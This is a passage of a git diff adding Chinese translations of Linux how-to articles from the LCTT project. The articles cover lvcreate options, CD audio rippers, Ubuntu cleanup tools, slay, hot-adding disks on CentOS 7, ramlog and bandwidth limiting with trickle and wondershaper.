lvcreate: Create a logical volume(创建逻辑卷) + + lvcreate + [-A|--autobackup {y|n}](自动备份) + [-a|--activate [a|e|l]{y|n}] + [--addtag Tag](增加标签) + [--alloc AllocationPolicy](分配策略) + [--cachemode CacheMode](Cache模式) + [-C|--contiguous {y|n}] + [-d|--debug] + [-h|-?|--help] + [--ignoremonitoring](忽略监控) + [--monitor {y|n}](监控) + [-i|--stripes Stripes [-I|--stripesize StripeSize]] + [-k|--setactivationskip {y|n}] + [-K|--ignoreactivationskip] + {-l|--extents LogicalExtentsNumber[%{VG|PVS|FREE}] |(逻辑扩展数) + -L|--size LogicalVolumeSize[bBsSkKmMgGtTpPeE]}(逻辑卷大小) + [-M|--persistent {y|n}] [--major major] [--minor minor] + [-m|--mirrors Mirrors [--nosync] [{--mirrorlog {disk|core|mirrored}|--corelog}]](镜像) + [-n|--name LogicalVolumeName](逻辑卷名字) + [--noudevsync] + [-p|--permission {r|rw}] + [--[raid]minrecoveryrate Rate] + [--[raid]maxrecoveryrate Rate] + [-r|--readahead ReadAheadSectors|auto|none](读取头扇区) + [-R|--regionsize MirrorLogRegionSize](镜像逻辑区域尺寸) + [-T|--thin [-c|--chunksize ChunkSize](块大小) + [--discards {ignore|nopassdown|passdown}] + [--poolmetadatasize MetadataSize[bBsSkKmMgG]]] + [--poolmetadataspare {y|n}] + [--thinpool ThinPoolLogicalVolume{Name|Path}] (精简池逻辑卷) + [-t|--test] + [--type VolumeType](卷类型) + [-v|--verbose] + [-W|--wipesignatures {y|n}] + [-Z|--zero {y|n}] + [--version] + VolumeGroupName [PhysicalVolumePath...] + + +-------------------------------------------------------------------------------- + +via: http://www.ehowstuff.com/4-lvcreate-command-examples-on-linux/ + +作者:[skytech][a] +译者:[Vic020](https://github.com/Vic020) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.ehowstuff.com/author/mhstar/ diff --git a/published/201503/20150126 CD Audio Grabbers--Graphical Based.md b/published/201503/20150126 CD Audio Grabbers--Graphical Based.md new file mode 100644 index 0000000000..4521760139 --- /dev/null +++ b/published/201503/20150126 CD Audio Grabbers--Graphical Based.md @@ -0,0 +1,121 @@ +4 个图形界面的 CD 音频抓取器 +================================================================================ +CD音频抓取器设计用来从光盘中提取(“RIP”)原始数字音频(通常被称为 CDDA 格式)并把它保存成文件或以其他形式输出。这类软件使用户能把数字音频编码成各种格式,并可以从在线光盘数据库 freedb 中下载或上传光盘信息。 + +复制CD合法吗?在美国版权法中,把一个原始CD转换成数字文件用于个人使用等同于‘合理使用’。然而,美国版权法并没有明确的允许或禁止拷贝私人音频CD,而且判例法还没有确立出在具体的哪种情况下可以视为合理使用。而在英国,其版权的定位则更清晰一些。从2014年开始,英国公民制造CD,MP3,DVD,蓝光和电子书的行为成为合法行为。当然,这仅适用于这个人拥有被采集的媒体的实体,并且复制品仅用于他们个人使用。对于欧盟的其他国家,成员国也允许私人复制这种特例。 + +如果你不确定在你生活的国家里这种版权是如何界定的,在你使用这篇文章中所列举的软件前请查询本地的版权法以确定你处在合法的一边。 + +在某种程度上,提取CD音轨看起来有点多余。如[Spotify][5]和Google Play Music这类流媒体服务提供了一个巨大的以通用格式的音乐的库,无需采集你的CD集。但是,如果你已将收藏了一个数量巨大的CD集。能把你的CD转换成可以在便携设备如智能手机、平板和便携式MP3播放器上播放的格式仍然是个诱人的选择。 + +这篇文章推荐了我最喜欢的音频CD抓取器。我挑了四个最好的图形界面的音频抓取器。所有这些应用程序都是在开源许可下发行的。 + +###fre:ac + +![](http://www.linuxlinks.com/portal/content/reviews/Utilities/Screenshot-freac.png) + +fre:ac是个开源的音频转换器和CD提取器,支持很多种流行格式和编码器。目前这个应用可以在MA3、MP4/M4A、WMA、Ogg Vorbis、FLAC、AAC、WAV和Bonk格式间转换。这来源于几种不同形式的LAME编码器。 + +#### 功能包括: #### + +- 易学易用 +- MP3、MP4/M4A、WMA、Ogg Vorbis、FLAC、AAC、WAV和Bonk格式转换器 +- 集成了CDDB/freedb标题数据库支持的CD提取器 +- 多核优化的编码器加速了现代PC上的转换速度 +- 对于标签和文件名称的全Unicode支持 +- 易学易用,而当你需要时还提供专家级选项 +- 任务列表 +- 可以使用Winamp 2输入插件 +- 多语言用户界面支持41种语言 + +- 网址: [freac.org][1] +- 开发人员:Robert Kausch +- 许可证: GNU GPL v2 +- 版本号: 20141005 + +###Audex + +![](http://www.linuxlinks.com/portal/content/reviews/Utilities/Screenshot-Audex.png) + +Audex是个简单易用的开源的音频CD提取应用。虽然它还处于早期开发阶段,但这个KDE桌面工具足够稳定、智能和简单易用。 + +它的助手可以为LAME、OGG Vorbis(oggenc)、FLAC、FAAC(AAC/MP4)和RIFF WAVE等格式创建配置文件。除了这个助手,你也可以定义你自己的配置文件,这意味着,Audex适用于大部分的命令行编码器。 + +#### 功能包括: #### + +- 可提取CDDA Paranoia +- 提取和编码同时进行 +- 文件名采用本地和远程的CDDB/FreeDB数据库 +- 可以提交到CDDB/FreeDB数据库 +- 类似capitalize的元数据纠正工具 +- 多配置文件提取(每个配置文件文件有一个命令行编码器) +- 从互联网上抓取封面并将他们存在数据库中 +- 在目标目录中创建播放列表、封面和基于模板的信息文件 +- 创建提取和编码协议 +- 将文件传送到FTP服务器 +- 支持国际化 + +- 网址: [kde.maniatek.com/audex][2] +- 开发人员: Marco Nelles +- 许可证: GNU GPL v3 +- 版本号: 0.79 + +###Sound Juicer + +![](http://www.linuxlinks.com/portal/content/reviews/Utilities/Screenshot-SoundJuicer.png) + +Sound Juicer是个使用GTK+和GStreamer开发的轻量级CD提取器。它从CD中提取音频并把它转换成音频文件。Sound Juicer还可以直接播放CD中的音轨,在提取前提供预览。 + +它支持任何GStreamer插件所支持的音频编码,包括 MP3、Ogg Vorbis、FLAC和未压缩的PCM格式。 + +它是GNOME桌面环境内建的一部分。 + +#### 功能包括: #### + +- 自动通过CDDB给音轨加标签 +- 可编码成ogg/vorbis、FLAC和原始WAV +- 编码路径的设置很简单 +- 多种风格流派 +- 国际化支持 + +- 网址:[burtonini.com][3] +- 开发人员: Ross Burton +- 许可证:GNU GPL v2 +- 版本号:3.14 + +###ripperX + +![](http://www.linuxlinks.com/portal/content/reviews/Utilities/Screenshot-ripperX.png) + +ripperX是个开源的图形界面的程序,用于提取CD音轨并把他们编码成Ogg、MP2、MP3或FLAC格式。它的目的是容易使用,只需要点几下鼠标就能转换整张专辑。它支持在CDDB寻找专辑和音轨信息。 + +他使用cdparanoia把CD音轨转换(也就是“提取”)成WAV文件,然后调用Vorbis/Ogg编码器oggenc把WAV文件转换成OGG文件。它还可以调用flac让WAV文件生成无损压缩的FLAC文件。 + +#### 功能包括: #### + +- 非常简单易用 +- 可以把CD音轨提取成WAV、MP3、OGG或FLAC文件 +- 支持CDDB查找 +- 支持ID3v2标签 +- 可暂停提取进程 + +- 网址:[sourceforge.net/projects/ripperx][4] +- 开发人员:Marc André Tanner +- 许可证:MIT/X Consortium License +- 版本号:2.8.0 + +-------------------------------------------------------------------------------- + +转自:http://www.linuxlinks.com/article/20150125043738417/AudioGrabbersGraphical.html + +作者:Frazer Kline +译者:[H-mudcup](https://github.com/H-mudcup) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.freac.org/ +[2]:http://kde.maniatek.com/audex/ +[3]:http://burtonini.com/blog/computers/sound-juicer +[4]:http://sourceforge.net/projects/ripperx/ +[5]:http://linux.cn/article-3130-1.html \ No newline at end of file diff --git a/published/201503/20150126 Cleaning up Ubuntu 14.10,14.04,13.10 system.md b/published/201503/20150126 Cleaning up Ubuntu 14.10,14.04,13.10 system.md new file mode 100644 index 0000000000..ff995682ad --- /dev/null +++ b/published/201503/20150126 Cleaning up Ubuntu 14.10,14.04,13.10 system.md @@ -0,0 +1,204 @@ +如何清理你的 Ubuntu 14.10/14.04/13.10 系统 +================================================================================ +前面我们已经讨论了[如何清理 Ubuntu GNU/Linux 系统][1],这篇教程将在原有教程的基础上,增加对新的 Ubuntu 发行版本的支持,并介绍更多的工具。 + +假如你想清理你的 Ubuntu 主机,你可以按照以下的一些简单步骤来移除所有不需要的垃圾文件。 + +## 移除多余软件包 ## + +这又是一个内置功能,但这次我们不必使用新得立包管理软件(Synaptic Package Manager),而是在终端中达到目的。 + +现在,在终端窗口中键入如下命令: + +``` +sudo apt-get autoclean +``` + +这便激活了包清除命令。这个命令所做的工作是: 自动清除那些当你安装或升级程序时系统所缓存的 `.deb` 包(即清除 `/var/cache/apt/archives` 目录,不过只清理过时的包)。如果需要使用清除命令,只需在终端窗口中键入以下命令: + +``` +sudo apt-get clean +``` + +然后你就可以使用自动移除命令。这个命令所做的工作是:清除那些 在系统中被某个已经卸载的软件 作为依赖所安装的软件包。要使用自动移除命令,在终端窗口中键入以下命令: + +``` +sudo apt-get autoremove +``` + +## 移除不需要的本地化数据 ## + +为达到此目的,我们需要安装 `localepurge` 软件,它将自动移除一些不需要的本地化数据(LCTT 译注:即各种语言翻译)。这个软件是一个简单的脚本,它将从那些不再需要的本地化文件和本地化联机手册( man pages ) 所占用的空间中回收磁盘空间。这个软件将在任何 apt 安装命令运行时 被自动激活。 + +在 Ubuntu 中安装 `localepurge` + +``` +sudo apt-get install localepurge +``` + +在通过 `apt-get install` 安装任意软件后, localepurge 将移除所有不是使用你系统中所设定语言的翻译文件和翻译的联机手册。 + +假如你想设置 `localepurge`,你需要编辑 `/ect/locale.nopurge` 文件。 + +根据你已经安装的软件,这将为你节省几兆的磁盘空间。 + +例子:- + +假如我试着使用 `apt-get` 来安装 `dicus`软件: + +``` +sudo apt-get install discus +``` + +在软件安装完毕之后,你将看到如下提示: + +> localepurge: Disk space freed in /usr/share/locale: 41860K + +## 移除孤包 ## + +假如你想移除孤包,你需要安装 `deborphan` 软件: + +在 Ubuntu 中安装 `deborphan` : + +``` +sudo apt-get install deborphan +``` + +### 使用 deborphan ### + +打开终端并键入如下命令即可: + +``` +sudo deborphan | xargs sudo apt-get -y remove --purge +``` + +### 使用 GtkOrphan 来移除孤包 ### + +`GtkOrphan` (一个针对 debian 系发行版本的 Perl/Gtk2 应用) 是一个分析用户安装过程状态并查找孤立库文件的图形化工具,它为 `deborphan` 提供了一个 GUI 前端,并具备移除软件包的功能。 + +#### 在 Ubuntu 中安装 GtkOrphan #### + +打开终端并运行如下命令: + +``` +sudo apt-get install gtkorphan +``` + +#### 一张截图 #### + +![](http://www.ubuntugeek.com/wp-content/uploads/2015/01/41.png) + +### 使用 Wajig 移除孤包 ### + +`Wajig`是 Debian 包管理系统中一个简单的软件包管理前端。它将 apt、apt-cache、 dpkg、 /etc/init.d 中的脚本等 通过一个单一命令集成在一起,它的设计初衷是使用简单和为它的所有功能提供丰富的文档。 + +通过适当的 `sudo`配置,大多数(如果不是全部)的软件包安装和创建等任务可以通过一个用户 shell 来完成。`Wajig` 也适用于一般的系统管理。另外,一个 Gnome GUI 命令 `gjig`也被囊括在这个软件包之中。 + +#### 在 Ubuntu 中安装 Wajig #### + +打开终端并运行如下命令: + +``` +sudo apt-get install wajig +``` + +## Debfoster --- 跟踪你在安装过程中的操作 ## + +debfoster 将会维护一个列有被明确需要安装的软件包的列表,但不包括那些作为某个软件的依赖而被安装的软件包。参数是完全可选的,你甚至可以使得在 dpkg 和/或 apt-get 每次运行之后马上激活 debfoster 。 + +另外,你还可以在命令行中使用 debfoster 来安装或移除某些特定的软件包。那些后缀为 `---` 的软件包将会被移除,而没有后缀的软件包将会被安装。 + +假如一个新的软件包或 debfoster 注意到作为某个软件包的依赖的软件包是一个孤包,则 debfoster 将会询问你下一步如何操作。若你决定保留这个孤包, debfoster 将只会进行记录并继续安装过程;若你觉得这个软件包不足以引起你的兴趣,在 debfoster 询问这个问题后,它将移除这个软件包。进一步的,如果你的决定使得其他的软件包变为孤包,更多的提问将会接踵而来。 + +### 在 Ubuntu 中安装 debfoster ### + +打开终端并运行如下命令: + +``` +sudo apt-get install debfoster +``` + +### 使用 debfoster ### + +为了创建一个初始跟踪文件,可以使用如下命令: + +``` +sudo debfoster -q +``` + +你总可以编辑 `/var/lib/debfoster/keepers` 文件,来定义那些你想留在系统中的软件包。 + +为了编辑这个文件,可以键入: + +``` +sudo vi /var/lib/debfoster/keepers +``` + +要强制使 debfoster 去移除所有没有被列在上面这个文件的软件包,或安装作为某些列在这个文件中的软件包的依赖,它也同时会添加所有在这个列表中没有被安装的软件包。若要根据这个列表来执行相关操作,只需执行: + +``` +sudo debfoster -f +``` + +若需要跟踪你新安装的软件包,你需要时不时地执行如下命令: + +``` +sudo debfoster +``` + +## xdiskusage -- 查看你的硬盘空间都去哪儿了 ## + +图形化地展示磁盘使用情况的 du。xdiskusage 是一个用户友好型的程序,它将为你展示你所有磁盘的使用情况。 它是在 Phillip C. Dykstra 所写的 “xdu” 程序的基础上设计的。做了一些修改以使得它可以为你运行 “du”命令,并显示磁盘的剩余空间,并且假如你想清晰地了解你的磁盘空间都去哪儿了,它还可以生成一个 PostScript 格式的名为 display.xdiskusage 的文件。 + +### 在 Ubuntu 中安装 xdiskusage ### + +只需使用如下命令: + +``` +sudo apt-get install xdiskusage +``` + +若你想打开这个应用,你需要使用如下命令: + +``` +sudo xdiskusage +``` + +一旦这个应用被打开,你将看到如下图所示的界面: + +![](http://www.ubuntugeek.com/wp-content/uploads/2015/01/5.png) + + +## Bleachbit ## + +BleachBit 能快速地释放磁盘空间并不知疲倦地保护你的隐私。它可以释放缓存,删除 cookie,清除 Internet 上网历史,粉碎临时文件,删除日志,丢弃你所不知道存在何处的垃圾。为 Linux 和 Windows 系统而设计,它支持擦除清理数以千计的应用程序,如 Firefox, Internet Explorer, Adobe Flash, Google Chrome, Opera, Safari 等等。除了简单地删除文件,BleachBit 还包括许多高级功能,诸如粉碎文件以防止恢复,擦除磁盘空间来隐藏被其他应用程序所删除文件的痕迹,为火狐“除尘”,使其速度更快等。比免费更好,BleachBit 是一个开源软件。 + +### 在 Ubuntu 中安装 Bleachbit ### + +打开终端并运行如下命令: + +``` +sudo apt-get install bleachbit +``` + +### 一张截图 ### + +![](http://www.ubuntugeek.com/wp-content/uploads/2015/01/6.png) + +### 使用 Ubuntu-Tweak ### + +最后,你也可以使用 [Ubuntu-Tweak][2] 来清理你的系统。 + +-------------------------------------------------------------------------------- + +via: http://www.ubuntugeek.com/cleaning-up-a-ubuntu-gnulinux-system-updated-with-ubuntu-14-10-and-more-tools-added.html + +作者:[ruchi][a] +译者:[FSSlc](https://github.com/FSSlc) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.ubuntugeek.com/author/ubuntufix +[1]:http://www.ubuntugeek.com/cleaning-up-all-unnecessary-junk-files-in-ubuntu.html +[2]:http://linux.cn/article-3335-1.html diff --git a/published/201503/20150126 How To Kill All Processes Of A Specific User With slay.md b/published/201503/20150126 How To Kill All Processes Of A Specific User With slay.md new file mode 100644 index 0000000000..77a8441323 --- /dev/null +++ b/published/201503/20150126 How To Kill All Processes Of A Specific User With slay.md @@ -0,0 +1,50 @@ +用‘slay’干掉某个用户的所有进程 +================================================================================ +**slay** 是**Chris Ausbrooks**写的一款用于杀掉指定用户所有运行进程的命令行工具。slay对系统管理员而言在找出那些不应该运行进程的用户是很有用的。 + +slay在大多数发行版中都有官方仓库。 + +安装 + +### Ubuntu 和它的衍生版 ### + + sudo apt-get install slay + +### Arch Linux 和它的衍生版 ### + + sudo pacman -S slay + +### Fedora 和它的衍生版 ### + + sudo yum install slay + +### 用法 ### + +你应该有管理员权限来使用slay, + +要杀掉指定用户的进程,你就要: + + sudo slay + +比如:我想杀掉用户**amitooo**的所有进程。 + + ~ sudo slay amitooo + slay: Done. + +![](http://1102047360.rsc.cdn77.org/wp-content/uploads/2015/01/slay-amitoo-kpenee.png) + +当slay运行完成后,你应该就可以看到反馈了。 + +爽吧?! + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/kill-processes-specific-user-slay/ + +作者:[Enock Seth Nyamador][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.unixmen.com/author/seth/ \ No newline at end of file diff --git a/published/201503/20150126 How to Add a New Hard Disk Without Rebooting on CentOS 7 or RHEL 7.md b/published/201503/20150126 How to Add a New Hard Disk Without Rebooting on CentOS 7 or RHEL 7.md new file mode 100644 index 0000000000..d54877bd36 --- /dev/null +++ b/published/201503/20150126 How to Add a New Hard Disk Without Rebooting on CentOS 7 or RHEL 7.md @@ -0,0 +1,93 @@ +如何不用重启在CentOS 7/ RHEL 7虚拟机中添加一块新硬盘 +================================================================================ +通常在你在虚拟机中添加一块新硬盘时,你可能会看到新硬盘没有自动加载。这是因为连接到硬盘的SCSI总线需要重新扫描来使得新硬盘可见。这里有一个简单的命令来重新扫描SCSI总线和SCSI设备。下面这几步在CentOS 7 和RHEL 7 中测试过。 + +1. 在ESXi或者vCenter中添加一块新的20G硬盘: + + ![](http://www.ehowstuff.com/wp-content/uploads/2015/01/Create-new-LVM-CentOS7-1.png) + +2. 显示当前磁盘分区: + + [root@centos7 ~]# fdisk -l + + ---------- + + ``` + Disk /dev/sda: 32.2 GB, 32212254720 bytes, 62914560 sectors + Units = sectors of 1 * 512 = 512 bytes + Sector size (logical/physical): 512 bytes / 512 bytes + I/O size (minimum/optimal): 512 bytes / 512 bytes + Disk label type: dos + Disk identifier: 0x0006b96a + + Device Boot Start End Blocks Id System + /dev/sda1 * 2048 1026047 512000 83 Linux + /dev/sda2 1026048 62914559 30944256 8e Linux LVM + + Disk /dev/mapper/centos-swap: 2147 MB, 2147483648 bytes, 4194304 sectors + Units = sectors of 1 * 512 = 512 bytes + Sector size (logical/physical): 512 bytes / 512 bytes + I/O size (minimum/optimal): 512 bytes / 512 bytes + + + Disk /dev/mapper/centos-root: 29.5 GB, 29536288768 bytes, 57688064 sectors + Units = sectors of 1 * 512 = 512 bytes + Sector size (logical/physical): 512 bytes / 512 bytes + I/O size (minimum/optimal): 512 bytes / 512 bytes + ``` + +3. 确定主机总线号 + + [root@centos7 ~]# ls /sys/class/scsi_host/ + host0 host1 host2 + +4. 重新扫描SCSI总线来添加设备 + + [root@centos7 ~]# echo "- - -" > /sys/class/scsi_host/host0/scan + [root@centos7 ~]# echo "- - -" > /sys/class/scsi_host/host1/scan + [root@centos7 ~]# echo "- - -" > /sys/class/scsi_host/host2/scan + +5. 验证磁盘和分区并确保20GB硬盘已经添加了。在本例中,出现了下面这行 “`Disk /dev/sdb: 21.5 GB, 21474836480 bytes, 41943040 sectors`” 并且可以确认没有重启服务器就添加了新盘: + + ``` + [root@centos7 ~]# fdisk -l + + Disk /dev/sda: 32.2 GB, 32212254720 bytes, 62914560 sectors + Units = sectors of 1 * 512 = 512 bytes + Sector size (logical/physical): 512 bytes / 512 bytes + I/O size (minimum/optimal): 512 bytes / 512 bytes + Disk label type: dos + Disk identifier: 0x0006b96a + + Device Boot Start End Blocks Id System + /dev/sda1 * 2048 1026047 512000 83 Linux + /dev/sda2 1026048 62914559 30944256 8e Linux LVM + + Disk /dev/mapper/centos-swap: 2147 MB, 2147483648 bytes, 4194304 sectors + Units = sectors of 1 * 512 = 512 bytes + Sector size (logical/physical): 512 bytes / 512 bytes + I/O size (minimum/optimal): 512 bytes / 512 bytes + + + Disk /dev/mapper/centos-root: 29.5 GB, 29536288768 bytes, 57688064 sectors + Units = sectors of 1 * 512 = 512 bytes + Sector size (logical/physical): 512 bytes / 512 bytes + I/O size (minimum/optimal): 512 bytes / 512 bytes + + + Disk /dev/sdb: 21.5 GB, 21474836480 bytes, 41943040 sectors + Units = sectors of 1 * 512 = 512 bytes + Sector size (logical/physical): 512 bytes / 512 bytes + I/O size (minimum/optimal): 512 bytes / 512 bytes + ``` +-------------------------------------------------------------------------------- + +via: http://www.ehowstuff.com/how-to-add-a-new-hard-disk-without-rebooting-on-centos-7-rhel-7/ + +作者:[skytech][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.ehowstuff.com/author/mhstar/ \ No newline at end of file diff --git a/published/201503/20150126 Improve system performance by moving your log files to RAM Using Ramlog.md b/published/201503/20150126 Improve system performance by moving your log files to RAM Using Ramlog.md new file mode 100644 index 0000000000..3ad03ac708 --- /dev/null +++ b/published/201503/20150126 Improve system performance by moving your log files to RAM Using Ramlog.md @@ -0,0 +1,107 @@ +性能优化:使用ramlog将日志文件转移到内存中 +================================================================================ +Ramlog 以系统守护进程的形式运行。在系统启动时它创建虚拟磁盘(ramdisk),将 /var/log 下的文件复制到虚拟磁盘中,同时把虚拟磁盘挂载为/var/log。然后所有的日志就会更新到虚拟磁盘上。而当 ramlog 重启或停止时,需要记录到硬盘上的日志就会保留在目录/var/log.hdd中。而关机的时候,(ramdisk上的)日志文件会重新保存到硬盘上,以确保日志一致性。Ramlog 2.x默认使用tmpfs文件系统,同时也可以支持ramfs和内核ramdisk。使用rsync(译注:Linux数据镜像备份工具)这个工具来同步日志。 + +注意:如果突然断电或者内核崩溃(kernel panic)时,没有保存进硬盘的日志将会丢失。 + +如果你拥有够多的可用内存,而又想把日志放进虚拟磁盘,就安装ramlog吧。它是笔记本用户、带有UPS的系统或是直接在flash中运行的系统的优良选择,可以节省日志的写入时间。 + +Ramlog的运行机制以及步骤如下: + +1. Ramlog 由第一个守护进程(这取决于你所安装过的其它守护进程)启动。 + +2. 然后创建目录/var/log.hdd并将其硬链至/var/log。 + +3. 如果使用的是tmpfs(默认)或者ramfs 文件系统,将其挂载到/var/log上。 + +4. 而如果使用的是内核ramdisk,ramdisk会在/dev/ram9中创建,并将其挂载至/var/log。默认情况下ramlog会占用所有ramdisk的内存,其大小由内核参数"ramdisk_size"指定。 + +5. 接着其它的守护进程被启动,并在ramdisk中更新日志。Logrotate(译注:Linux日志轮替工具)和 ramdisk 配合的也很好。 + +6. 重启(默认一天一次)ramlog时,目录/var/log.hdd将借助rsync与/var/log保持同步。日志自动保存的频率可以通过cron(译注:Linux例行性工作调度)来控制。默认情况下,ramlog 的调度任务放置在目录/etc/cron.daily下。 + +7. 系统关机时,ramlog在最后一个守护进程关闭之前关闭。 + +8. 在ramlog关闭期间,/var/log.hdd中的文件将被同步至/var/log,接着/var/log和/var/log.hdd都被卸载,然后删除空目录/var/log.hdd。 + +**注意:- 此文仅面向高级用户** + +### 在Ubuntu中安装Ramlog ### + +首先需要用以下命令,从[这里][1]下载.deb安装包: + + wget http://www.tremende.com/ramlog/download/ramlog_2.0.0_all.deb + +下载ramlog\_2.0.0\_all.deb安装包完毕,使用以下命令进行安装: + + sudo dpkg -i ramlog_2.0.0_all.deb + +这一步会完成整个安装,现在你需要运行以下命令: + + sudo update-rc.d ramlog start 2 2 3 4 5 . stop 99 0 1 6 . + +现在,在更新sysklogd的初始化顺序,使之能在ramlog停止运行前正确关闭: + + sudo update-rc.d -f sysklogd remove + + sudo update-rc.d sysklogd start 10 2 3 4 5 . stop 90 0 1 6 . + +然后重启系统: + + sudo reboot + +系统重启完毕,运行'ramlog getlogsize'来获取你当前的/var/log的空间大小。在此基础之上多分配40%的空间,确保ramdisk有足够的空间(这整个都将作为ramdisk的空间大小)。 + +编辑引导配置文件,如/etc/grub.conf,、/boot/grub/menu.lst 或/etc/lilo.conf(译注:具体哪个配置文件视不同引导加载程序而定),给你的当前内核的新增选项 'ramdisk_size=xxx' ,其中xxx是ramdisk的空间大小。 + +### 配置Ramlog ### + +基于deb的系统中,Ramlog的配置文件位于/etc/default/ramlog,你可以在该配置文件中设置以下变量: + + RAMDISKTYPE=0 + # 取值: + # 0 -- tmpfs (可被交换到交换分区) -- 默认 + # 1 -- ramfs (旧内核不能设置最大空间大小, + # 不能被交换到交换分区,和 SELinux 不兼容) + # 2 -- 老式的内核 ramdisk + TMPFS_RAMFS_SIZE= + # 可以用于 tmpfs 或 ramfs 的最大内存大小 + # 这个值可以是百分比或数值(单位是 Mb),例如: + # TMPFS_RAMFS_SIZE=40% + # TMPFS_RAMFS_SIZE=100m + # 该值为空表示 tmpfs/ramfs 的大小是全部内存的 50% + # 更多选项可以参考 ‘man mount' 中的‘Mount options for tmpfs' 一节 + # (补充,在较新的内核中,ramfs 支持大小限制, + # 虽然 man 中说没有这个挂载选项) + # 该选项仅用于 RAMDISKTYPE=0 或 1 时 + KERNEL_RAMDISK_SIZE=MAX + #以 kb 为单位指定的内核 ramdisk 大小,或者使用 MAX 来使用整个 ramdisk。 + #该选项仅用于 RAMDISKTYPE=2 时 + LOGGING=1 + # 0=关闭, 1=打开 。记录自身的日志到 /var/log/ramdisk + LOGNAME=ramlog + # 自身的日志文件名 (用于 LOGGING=1时) + VERBOSE=1 + # 0=关闭, 1=打开 (设置为 1时,启动或停止失败时会调用 teststartstop 将细节 + # 写到日志中) + +### 在Ubuntu中卸载ramlog ### + +打开终端运行以下命令: + + sudo dpkg -P ramlog + +注意:如果ramlog卸载之前仍在运行,需要重启系统完成整个卸载工作。 + +-------------------------------------------------------------------------------- + +via: http://www.ubuntugeek.com/improve-system-performance-by-moving-your-log-files-to-ram-using-ramlog.html + +作者:[ruchi][a] +译者:[soooogreen](https://github.com/soooogreen) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.ubuntugeek.com/author/ubuntufix +[1]:http://www.tremende.com/ramlog/download/ramlog_2.0.0_all.deb diff --git a/published/201503/20150127 How to limit network bandwidth on Linux.md b/published/201503/20150127 How to limit network bandwidth on Linux.md new file mode 100644 index 0000000000..5be2501e58 --- /dev/null +++ b/published/201503/20150127 How to limit network bandwidth on Linux.md @@ -0,0 +1,112 @@ +怎样在 Linux 中限制网络带宽使用 +================================================================================ +假如你经常在 Linux 桌面上运行多个网络应用,或在家中让多台电脑共享带宽;那么你可能想更好地控制带宽的使用。否则,当你使用下载器下载一个大文件时,交互式 SSH 会话可能会变得缓慢以至不可用;或者当你通过 Dropbox 来同步一个大文件夹时,你的室友可能会抱怨在她的电脑上,视频流变得断断续续。 + +在本教程中,我将为你描述两种在 Linux 中限制网络流量速率的不同方法。 + +### 在 Linux 中限制一个应用的速率 ### + +限制网络流量速率的一种方法是通过一个名为[trickle][1]的命令行工具。通过在程序运行时,预先加载一个速率限制 socket 库 的方法,trickle 命令允许你改变任意一个特定程序的流量。 trickle 命令有一个很好的特性是它仅在用户空间中运行,这意味着,你不必需要 root 权限就可以限制一个程序的带宽使用。要能使用 trickle 程序控制程序的带宽,这个程序就必须使用非静态链接库的套接字接口。当你想对一个不具有内置带宽控制功能的程序进行速率限制时,trickle 可以帮得上忙。 + +在 Ubuntu,Debian 及其衍生发行版中安装 trickle : + +``` +$ sudo apt-get install trickle +``` + +在 Fdora 或 CentOS/RHEL (带有 [EPEL 软件仓库][2]): + +``` +$ sudo yum install trickle +``` + +trickle 的基本使用方法如下。仅需简单地把 trickle 命令(及速率参数)放在你想运行的命令之前。 + +``` +$ trickle -d -u +``` + +这就可以将 `` 的下载和上传速率限定为特定值(单位 KBytes/s)。 + +例如,将你的 scp 会话的最大上传带宽设定为 100 KB/s: + +``` + $ trickle -u 100 scp backup.tgz alice@remote_host.com: +``` + +如若你想,你可以通过创建一个[自定义启动器][3]的方式,使用下面的命令为你的 Firefox 浏览器设定最大下载速率(例如, 300 KB/s)。 + +``` +trickle -d 300 firefox %u +``` + +最后, trickle 也可以以守护进程模式运行,在该模式下,它将会限制所有通过 trickle 启动且正在运行的程序的总带宽之和。 启动 trickle 使其作为一个守护进程(例如, trickled): + +``` +$ sudo trickled -d 1000 +``` + +一旦 trickled 守护进程在后台运行,你便可以通过 trickle 命令来启动其他程序。假如你通过 trickle 启动一个程序,那么这个程序的最大下载速率将是 1000 KB/s, 假如你再通过 trickle 启动了另一个程序,则每个程序的(下载)速率极限将会被限制为 500 KB/s,等等。 + +### 在 Linux 中限制一个网络接口的速率 ### + +另一种控制你的带宽资源的方式是在每一个接口上限制带宽。这在你与其他人分享你的网络连接的上行带宽时尤为实用。同其他一样,Linux 有一个工具来为你做这件事。[wondershaper][4]就是干这个的。 + +wondershaper 实际上是一个 shell 脚本,它使用 [tc][5] 来定义流量调整命令,使用 QoS 来处理特定的网络接口。外发流量通过放在不同优先级的队列中,达到限制传出流量速率的目的;而传入流量通过丢包的方式来达到速率限制的目的。 + +事实上, wondershaper 的既定目标不仅仅是对一个接口增加其带宽上限;当批量下载或上传正在进行时,wondershaper 还试图去保持互动性会话如 SSH 的低延迟。同样的,它还会控制批量上传(例如, Dropbox 的同步)不会使得下载“窒息”,反之亦然。 + +在 Ubuntu Debian 及其衍生发行版本 中安装 wondershaper: + +``` +$ sudo apt-get install wondershaper +``` + +在 Fdora 或 CentOS/RHEL (带有 [EPEL 软件仓库][2]) 中安装 wondershaper: + +``` +$ sudo yum install wondershaper +``` + +wondershaper 的基本使用如下: + +``` + $ sudo wondershaper +``` + +举个例子, 将 `eth0` 的最大下载/上传带宽分别设定为 1000Kbit/s 和 500Kbit/s: + +``` +$ sudo wondershaper eth0 1000 500 +``` + +你也可以通过运行下面的命令将速率限制进行消除: + +``` +$ sudo wondershaper clear eth0 +``` + +假如你对 wondershaper 